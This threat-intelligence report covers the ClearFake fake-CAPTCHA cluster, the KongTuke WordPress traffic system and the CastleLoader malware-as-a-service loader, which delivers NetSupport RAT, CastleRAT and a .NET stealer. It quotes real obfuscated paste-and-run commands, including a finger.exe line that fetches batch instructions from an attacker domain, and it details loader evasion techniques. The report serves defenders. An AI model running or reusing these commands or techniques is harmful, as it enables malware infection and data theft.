# ClearFake Drive-By Cluster Fuels CastleLoader Paste-and-Run Delivery of NetSupport RAT, CastleRAT, and a .NET Stealer

> Red Canary's June 2026 telemetry shows the ClearFake fake-CAPTCHA drive-by cluster holding the #1 threat rank for a third consecutive month while driving a broader paste-and-run (ClickFix) surge across the unrelated KongTuke WordPress traffic-distribution system and the June debut (#5) of CastleLoader, a TAG-150/GrayBravo malware-as-a-service loader that uses caret obfuscation, a Bring-Your-Own-Interpreter Python chain, and triple-layer encoding to deliver NetSupport Manager RAT, CastleRAT, and an unidentified .NET stealer.

- **Published:** 2026-09-20T00:00:00Z
- **Last reviewed:** 2026-09-20T00:00:00Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-2589
- **ID:** TL-2026-2589
- **Severity:** HIGH
- **Category:** MALWARE
- **Status:** ACTIVE
- **Actor:** GrayBravo
- **Detections:** 9 · **IOCs:** 25 (full data via the Threadlinqs MCP server — Purple tier)

## Description

Three independently tracked activity clusters converged on the same social-engineering primitive in June 2026: tricking a user into pasting and executing an attacker-supplied command themselves ("ClickFix" / "paste-and-run", MITRE ATT&CK T1204.004). ClearFake, an activity cluster that injects JavaScript into compromised legitimate websites and displays fake CAPTCHA verification overlays, has held the #1 spot in Red Canary's monthly threat rankings for three consecutive months; parallel public reporting describes ClearFake's newest iteration abusing blockchain smart contracts ("EtherHiding") to host and rotate its command infrastructure in a takedown-resistant way, and using WebDAV to retrieve a disguised library once the victim executes the pasted command.

The same paste-and-run mechanic drove a June 2026 volume spike (last matched in November 2025) in KongTuke, a traffic-distribution system tracked since 2024 (aka 404 TDS, Chaya_002, LandUpdate808, TAG-124) that compromises WordPress sites — largely via administrator credentials harvested by infostealers such as Atomic Stealer and Vidar — and serves fake browser-update or CAPTCHA landing pages that instruct victims to run an obfuscated `curl`-based command reaching out to a `.top` domain (observed pattern: `/c start "" /min cmd /v:on /k "set x=where c*u*r*l.e?e..."`). KongTuke has separately been linked to Rhysida and Interlock ransomware follow-on activity.

CastleLoader, active since early 2025 and also tracked as CastleBot, made its first appearance on Red Canary's top-10 list at #5 in June 2026. It is operated as malware-as-a-service by the threat collective tracked as TAG-150 (rebranded GrayBravo in later reporting), which runs a multi-tiered C2 architecture (Tier 1 victim-facing servers; Tier 2 VPS relays over RDP/3389; Tier 3 split between VPS nodes sharing TLS certificates and Russian residential IP space with Tox-based coordination; Tier 4 UDP backup infrastructure) supporting CastleLoader alongside CastleRAT, SecTopRAT, and WarmCookie. Reported CastleLoader lure fronts include the BackgroundFix campaign (fake AI background-removal tools at ai-scan[.]digital and bg-transparency[.]online, April 2026), a May 2026 job-platform impersonation wave using typosquatted LinkedIn/Indeed domains (linkedall[.]org, golinked[.]net, indeed-jobs[.]net) driven by Google Ads to fake Cloudflare Turnstile pages, and four distinct GrayBravo-operated clusters spoofing freight-matching platforms (logistics), Booking.com (travel/hospitality, delivering CastleLoader and Matanbuchus 3.0), Steam-Community dead-drop infrastructure (delivering CastleRAT), and fake Zabbix/RVTools software updates (delivering NetSupport RAT).

CastleLoader's June 2026 execution chain begins with a caret-obfuscated paste-and-run command (`%COMSPEC% /k s^t^a^r^t "" /min for /f "skip=8 delims=" %h in ('f^^i^^n^^g^^e^^r nrLeDHDESi@cheeshomireciple[.]com') do call %h & exit`) that abuses the legacy `finger.exe` utility to pull batch instructions from an attacker daemon over TCP/79. Those instructions download a portable Python distribution disguised as a PDF, extract it with `tar.exe` (a Bring-Your-Own-Interpreter technique that avoids depending on a pre-installed interpreter), and rename the interpreter to a random 12-18 digit filename (e.g. `8780254714083.exe`). A retrieved Python script applies triple-layer encoding (Base64, zlib, UTF-32) with Cyrillic character substitution before RC4-decrypting the embedded CastleLoader payload, which is reflectively loaded and process-injected into the Python host process. Independent malware analysis of the same family documents a five-stage chain (SEO-poisoned/GitHub lure surface → clipboard/finger payload retrieval → DJB2-hashed shellcode stager fetching `/service/download/*` payloads over HTTP with a Googlebot user agent → a PE loader that splices `LDR_DATA_TABLE_ENTRY`/`LDR_DDAG_NODE` structures to appear as a legitimately loaded module and defeats Windows 11 24H2+ memory-integrity hooking via `NtManageHotPatch` → a ChaCha20-encrypted core backdoor that enumerates the host and polls `/service/tasks` for one of nine task types including EXE, DLL-by-ordinal, PE injection, PowerShell, batch, and MSI execution). CastleLoader also performs `cpuid`-based anti-analysis to detect VMware, VirtualBox, and Parallels, and captures screenshots via a GDI `BitBlt` pipeline.

CastleLoader's confirmed June 2026 payloads are NetSupport Manager RAT (a legitimate remote-support tool, ranked #7-tied in Red Canary's June list, repurposed as a trojan), CastleRAT (TAG-150's own RAT, shipped in a lightweight Python variant and a feature-rich C variant that adds keylogging, clipboard theft, screen/webcam/microphone capture, browser-session hijacking, and a UAC-bypass chain abusing the Appinfo service; both variants use RC4-encrypted custom protocols and query ip-api[.]com for victim geolocation), and an as-yet-unnamed .NET-based information stealer. ClearFake and KongTuke remain independently tracked, unattributed activity clusters; only the CastleLoader/CastleRAT thread carries a named-actor linkage (TAG-150/GrayBravo), assessed with medium confidence given the group's still-evolving public naming and the absence of confirmed underground MaaS advertisements.

## MITRE ATT&CK

- T1566.002 Spearphishing Link
- T1608.006 SEO Poisoning
- T1204.004 Malicious Copy and Paste
- T1059.001 PowerShell
- T1059.003 Windows Command Shell
- T1036 Masquerading
- T1027 Obfuscated Files or Information
- T1027.007 Dynamic API Resolution
- T1140 Deobfuscate/Decode Files or Information
- T1620 Reflective Code Loading
- T1055.012 Process Hollowing
- T1497.001 System Checks
- T1082 System Information Discovery
- T1113 Screen Capture
- T1071.001 Web Protocols
- T1573.001 Symmetric Cryptography
- T1219 Remote Access Tools

## Sources

- [Intelligence Insights: July 2026](https://redcanary.com/blog/threat-intelligence/intelligence-insights-july-2026/)
- [From CastleLoader to CastleRAT: TAG-150 Advances Operations with Multi-Tiered Infrastructure](https://www.recordedfuture.com/research/from-castleloader-to-castlerat-tag-150-advances-operations)
- [Behind the Walls: Techniques and Tactics in Castle RAT Client Malware](https://www.splunk.com/en_us/blog/security/castlerat-malware-detection-splunk-mitre-attck.html)
- [Four Threat Clusters Using CastleLoader as GrayBravo Expands Its Malware Service Infrastructure](https://thehackernews.com/2025/12/four-threat-clusters-using-castleloader.html)
- [Dissecting the CastleBot Malware-as-a-Service operation](https://www.ibm.com/think/x-force/dissecting-castlebot-maas-operation)
- [CastleLoader attack dissection: 5-stage kill chain breakdown](https://www.manageengine.com/malware-protection/adversaries/castleloader.html)
- [ClearFake: From Fake CAPTCHAs to Blockchain-Driven Payload Retrieval](https://www.darktrace.com/blog/clearfake-from-fake-captchas-to-blockchain-driven-payload-retrieval)
- [TAG-150 Develops CastleRAT in Python and C, Expanding CastleLoader Malware Operations](https://thehackernews.com/2025/09/tag-150-develops-castlerat-in-python.html)
- [KongTuke](https://redcanary.com/threat-detection-report/threats/kongtuke/)
- [Hackers Exploit WordPress Sites to Power Next-Gen ClickFix Phishing Attacks](https://thehackernews.com/2025/10/hackers-exploit-wordpress-themes-to.html)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-2589